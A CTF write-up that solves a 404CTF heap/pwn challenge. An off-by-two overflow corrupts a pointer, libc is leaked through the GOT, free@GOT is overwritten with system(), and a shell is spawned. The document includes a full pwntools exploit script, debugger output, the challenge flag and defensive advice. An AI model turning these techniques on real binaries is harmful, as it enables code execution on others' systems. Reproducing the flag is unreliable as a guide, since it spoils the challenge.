TL;DR

Off-by-two bug lets us corrupt a pointer byte-by-byte โ†’ leak libc addresses โ†’ overwrite GOT entries โ†’ redirect free() to system() โ†’ profit with system("/bin/sh") ๐Ÿš€

Challenge Files: chall (ELF binary), libc.so.6, ld-linux-x86-64.so.2, main.c


Note: This is my first CTF writeup! At the time I solved this challenge, I was just starting out with heap exploitation. There are probably cleaner/simpler ways to solve this, but this approach worked for me. If you spot improvements, feel free to share! ๐Ÿ™‚


Challenge Overview

We’re given a rocket management program called “KerberINT Space Program”. It’s basically a menu-driven binary that lets you create and edit a rocket with properties like name, price, and description.

When you launch it, you’re greeted with an epic ASCII art rocket (seriously, it’s like 30 lines of rocket art ๐Ÿš€), and then a simple menu.

Available options:

1. Create your rocket
2. Edit rocket price
3. Edit rocket name         <- Our attack vector!
4. Edit rocket description  <- We'll abuse this too
5. Display rocket metadata  <- For leaking addresses
6. Exit                     <- Triggers our exploit

Binary Protections

Let’s run checksec on the binary:

$ checksec chall
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fa000)
    RUNPATH:    b'.'
    Stripped:   No

What this means for us:

  • โœ… NX enabled - Stack isn’t executable, so no shellcode on stack
  • โŒ No PIE - Binary always loads at 0x3fa000, addresses are static!
  • โŒ No canary - Buffer overflows won’t be caught by stack cookies
  • โš ๏ธ Partial RELRO - GOT is writable, perfect for GOT overwrites!

No PIE and partial RELRO? This is gonna be fun. ๐Ÿ˜ˆ

Quick GOT Primer

The Global Offset Table (GOT) is basically a lookup table that stores addresses of external functions (like free, malloc, puts from libc). When your program calls free(), it actually does:

  1. Jump to PLT (Procedure Linkage Table)
  2. PLT reads the address from GOT
  3. Jump to that address

With Partial RELRO, the GOT is writable. This means if we can write to it, we can redirect any function call anywhere we want. Overwrite free@GOT with system? Now every free() call becomes system() ๐ŸŽฏ

The Vulnerability

The program uses this structure for the rocket:

struct rocket {
    long price;         // 8 bytes
    char name[0x10];    // 16 bytes
    char* description;  // 8 bytes (pointer)
};

The bug is hiding in the edit_rocket_name() function:

void edit_rocket_name() {
    printf("Choose its name >> ");
    take_input(user_rocket->name, strlen(user_rocket->name));
}

Wait… it’s using strlen() as the buffer size? That’s sus. Let’s look at take_input():

void take_input(char *buf, size_t len) {
    char c = -1;
    int i = 0;
    while (i <= len && c != '\n') {  // ๐Ÿšจ uh oh, <= instead of <
        c = getchar();
        buf[i] = c;
        i++;
    }
    buf[i] = 0;  // ๐Ÿšจ another byte written!
}

The bug breakdown:

Let’s say we initially create a rocket with a 16-character name like "AAAAAAAAAAAAAAAA":

  • name buffer is completely full (no null terminator fits)
  • strlen(name) will return 16

Now when we call edit_rocket_name():

  • It calls take_input(name, 16)
  • The loop runs while i <= 16 (not i < 16!)
  • We can write at indices 0-16, that’s 17 bytes of data
  • Then it adds a null byte at buf[17], making it 18 bytes total

Memory layout after overflow:

[price: 8 bytes][name: 16 bytes][description ptr: 8 bytes]
                 ^                ^
                 |                |
                 |                We can overwrite the first 2 bytes here!
                 We control 16 bytes here

This off-by-two lets us partially overwrite the description pointer! ๐ŸŽฏ

Exploitation Strategy

Here’s the game plan:

  1. Setup: Create rocket with controlled values
  2. Leak libc: Overflow to point description at puts@GOT, then read it
  3. Calculate addresses: Get libc base and find system()
  4. GOT overwrite: Point description at free@GOT and overwrite it with system()
  5. Setup shell: Point description at “/bin/sh” string in libc
  6. Trigger: Exit the program โ†’ calls free(description) which we redirected to system("/bin/sh")

Let’s go! ๐Ÿ”ฅ

Step 1: Initial Setup

First things first, let’s create a rocket. The program gives us this sick ASCII art rocket when we start (check out that KerberINT Space Program banner! ๐Ÿš€), then presents a menu:

-----------------|KSP|-----------------
1. Create your rocket                  
2. Edit your rocket price              
3. Edit your rocket name               
4. Edit your rocket description        
5. Display your rocket metadata        
6. Exit                                

Let’s create our rocket with controlled values:

from pwn import *

elf = ELF('./chall')
libc = ELF('./libc.so.6')
io = remote('target.com', 1337)

def menu(choice):
    io.sendlineafter(b'> ', str(choice).encode())

# Create rocket (option 1)
menu(1)
io.sendlineafter(b'>>', b'1337')      # price
io.sendlineafter(b'>>', b'A'*16)      # name (fully filled, no null byte)
io.sendlineafter(b'>>', b'C'*16)      # description

The key here is filling the name field with exactly 16 bytes - no null terminator will fit, setting us up for the exploit.

Step 2: Leaking libc

Now for the tricky part. We need to overwrite the description pointer byte-by-byte to point at puts@GOT. Why byte-by-byte? Because strlen() stops at null bytes, and addresses have nulls in them.

def edit_name(data):
    menu(3)  # edit name option (option 3 in menu)
    io.sendlineafter(b'>>', data)

def leak():
    menu(5)  # display metadata
    io.recvuntil(b'Description: ')
    return io.recvline().strip().ljust(8, b'\x00')

# Overwrite description pointer byte by byte
puts_got = elf.got['puts']
for i in range(8):
    edit_name(b'A'*16 + p32(puts_got)[:i+1])

# Now read the leaked address
puts_addr = u64(leak())
log.success(f"Leaked puts @ {hex(puts_addr)}")

Each iteration writes one more byte of the puts@GOT address. After 8 iterations, description points right at the GOT entry for puts, so when we display metadata, we leak the real libc address!

Step 3: Calculate libc Base

libc.address = puts_addr - libc.sym.puts
system = libc.sym.system
log.success(f"libc base: {hex(libc.address)}")
log.success(f"system(): {hex(system)}")

Step 4: GOT Overwrite (The Annoying Part)

Here’s where it gets weird. We want to point description at free@GOT so we can overwrite it. But there’s a problem:

free@GOT address: 0x00000000 00405000
                  ^
                  Null byte! strlen() stops here

If we try to write 0x00405000 directly into the name field, strlen(user_rocket->name) will return 0 because it stops at the first null byte. Then take_input() won’t let us write anything!

Solution: Write to free@GOT + 1 first (which is 0x405001 - no leading null), then write to the real free@GOT.

# First, write to free@GOT + 1 byte by byte
# Address 0x405001 has no leading null, so strlen() works
free_got = 0x405001
acc = b''
for i in range(7):
    acc += p32(free_got)[i:i+1]
    edit_name(b'A'*16 + acc)

# Now we can write to the real free@GOT (0x405000)
# By this point, name has non-null bytes, so strlen() sees them
free_got = 0x405000
edit_name(b'B'*16 + p32(free_got))

Now description points at free@GOT! Time to overwrite it:

def edit_desc(data):
    menu(4)  # edit description option
    io.sendlineafter(b'>>', data)

# Overwrite GOT entries
edit_desc(p64(system) + 
          p64(libc.sym.puts) + 
          p64(libc.sym.strlen) + 
          p64(libc.sym.printf) +
          p64(libc.sym.getchar) + 
          p64(libc.sym.malloc) + 
          p64(libc.sym.setvbuf) +
          p64(libc.sym.__isoc99_scanf) + 
          p64(libc.sym.exit))

The first address we write is system, replacing free@GOT. Beautiful.

Step 5: Point to “/bin/sh”

Find “/bin/sh” in libc and point our description there:

binsh = next(libc.search(b"/bin/sh\x00"))
log.info(f"'/bin/sh' @ {hex(binsh)}")

edit_name(b'A'*16 + p64(binsh))

Step 6: Get Shell

Now for the finale. When we select option 6 (Exit), here’s what happens:

case 6:
    puts("Going to the Mune !");
    free_user_rocket();  // This function is called
    exit(EXIT_SUCCESS);  // Never reached!

Which triggers:

void free_user_rocket() {
    free(user_rocket->description);  // ๐Ÿ’ฅ THIS is where it happens!
    free(user_rocket);               // Never reached because shell spawns
}

Here’s the magic: we overwrote free@GOT with system. So when the program calls free(user_rocket->description), it actually calls system(user_rocket->description). And since description points to “/bin/sh”… boom! ๐Ÿ’ฃ

free("/bin/sh") becomes system("/bin/sh")!

menu(6)  # Exit - "Going to the Mune !"
io.interactive()

Proof: GOT Corruption in Action

If we set a breakpoint right before free_user_rocket() is called and examine the GOT, we can see our exploit worked perfectly:

pwndbg> got -r
State of the GOT:
GOT protection: Partial RELRO | Found 11 GOT entries passing the filter
[0x404fe0] __gmon_start__ -> 0
[0x405000] free@GLIBC_2.2.5 -> 0x7fcc5c10ddb0 (system) โ—‚โ€” endbr64  ๐Ÿ‘ˆ HIJACKED!
[0x405008] puts@GLIBC_2.2.5 -> 0x7fcc5c13caa0 (puts) โ—‚โ€” endbr64 
[0x405010] strlen@GLIBC_2.2.5 -> 0x7fcc5c167a80 (strlen_ifunc) โ—‚โ€” endbr64 
[0x405018] printf@GLIBC_2.2.5 -> 0x7fcc5c114b40 (printf) โ—‚โ€” endbr64 
...

Look at that! free@GOT now points to system instead of the real free(). And checking the registers:

DISASM:
 โ–บ 0x401614 <free_user_rocket>       push   rbp
   0x401618 <free_user_rocket+4>     mov    rax, qword ptr [user_rocket]
   0x40161f <free_user_rocket+11>    mov    rax, qword ptr [rax + 0x18]  
   0x401623 <free_user_rocket+15>    mov    rdi, rax                     
   0x401626 <free_user_rocket+18>    call   free@plt  <--- Goes to system!

REGISTERS:
 RDI  0x7fcc5c290ece โ—‚โ€” '/bin/sh'  ๐Ÿ‘ˆ Our argument!

Perfect! When call free@plt executes, it jumps to system, and RDI contains the address of “/bin/sh”. Game over! ๐ŸŽฎ

And we get shell! ๐ŸŽ‰

$ ls
chall
flag.txt
libc.so.6
$ cat flag.txt
404CTF{CEnTR3_5P4t!aL_70U1oU$3_ma74B!4u}

Rocket

Full Exploit

from pwn import *

elf = ELF('./chall')
libc = ELF('./libc.so.6')
io = remote('target.com', 1337)

def menu(choice):
    io.sendlineafter(b'> ', str(choice).encode())

def edit_name(data):
    menu(3)  # option 3: Edit your rocket name
    io.sendlineafter(b'>>', data)

def edit_desc(data):
    menu(4)  # option 4: Edit your rocket description
    io.sendlineafter(b'>>', data)

def leak():
    menu(5)
    io.recvuntil(b'Description: ')
    return io.recvline().strip().ljust(8, b'\x00')

# Create rocket
menu(1)
io.sendlineafter(b'>>', b'1337')
io.sendlineafter(b'>>', b'A'*16)
io.sendlineafter(b'>>', b'C'*16)

# Leak libc
puts_got = elf.got['puts']
for i in range(8):
    edit_name(b'A'*16 + p32(puts_got)[:i+1])

puts_addr = u64(leak())
libc.address = puts_addr - libc.sym.puts
system = libc.sym.system

log.success(f"libc: {hex(libc.address)}")
log.success(f"system: {hex(system)}")

# Point description at free@GOT + 1
free_got = 0x405001
acc = b''
for i in range(7):
    acc += p32(free_got)[i:i+1]
    edit_name(b'A'*16 + acc)

# Now point at real free@GOT
free_got = 0x405000
edit_name(b'B'*16 + p32(free_got))

# Overwrite GOT
edit_desc(p64(system) + p64(libc.sym.puts) + p64(libc.sym.strlen) + 
          p64(libc.sym.printf) + p64(libc.sym.getchar) + p64(libc.sym.malloc) + 
          p64(libc.sym.setvbuf) + p64(libc.sym.__isoc99_scanf) + p64(libc.sym.exit))

# Point to "/bin/sh"
binsh = next(libc.search(b"/bin/sh\x00"))
edit_name(b'A'*16 + p64(binsh))

# Get shell
menu(6)
io.interactive()

Lessons Learned

Exploitation techniques used:

  1. Off-by-one/Off-by-two exploitation - When a loop uses <= instead of <, you can write past the buffer boundary. Combined with a null terminator, this gives us 2 extra bytes to corrupt adjacent memory structures.

  2. Pointer corruption - By overflowing exactly into a pointer field, we can redirect where the program reads/writes data. Here we corrupted the description pointer to point anywhere we want.

  3. Bypassing null bytes with strlen() - When addresses contain null bytes, strlen() stops reading. Solution: build the address byte-by-byte, or write to address+1 first to avoid leading nulls.

  4. GOT overwrite with Partial RELRO - With no Full RELRO, the GOT is writable. We can hijack any library function by overwriting its GOT entry. Classic targets: free, exit, printf, malloc.

  5. Arbitrary read via controlled pointer - By pointing description at puts@GOT and calling the display function, we leak libc addresses. This defeats ASLR.

  6. Function redirection - Overwriting free@GOT with system means any free(ptr) becomes system(ptr). If we control ptr, we control the command executed.

  7. Chaining primitives - Leak โ†’ Calculate offsets โ†’ Overwrite โ†’ Trigger. Each step builds on the previous to achieve code execution.

Key insight: A tiny 2-byte overflow in the right place can lead to complete system compromise. ๐Ÿ’ฅ


For defenders (optional read):

  • Use safe string functions (strncpy, strnlen)
  • Enable Full RELRO to make GOT read-only
  • Enable PIE to randomize all addresses
  • Add stack canaries for buffer overflow detection
  • Bounds checking: use < not <= in loops!

How to fix this:

  • Use strnlen() or proper bounds checking
  • Don’t trust strlen() for buffer sizes
  • Enable full RELRO
  • Add stack canaries
  • Enable PIE

Flag

404CTF{CEnTR3_5P4t!aL_70U1oU$3_ma74B!4u}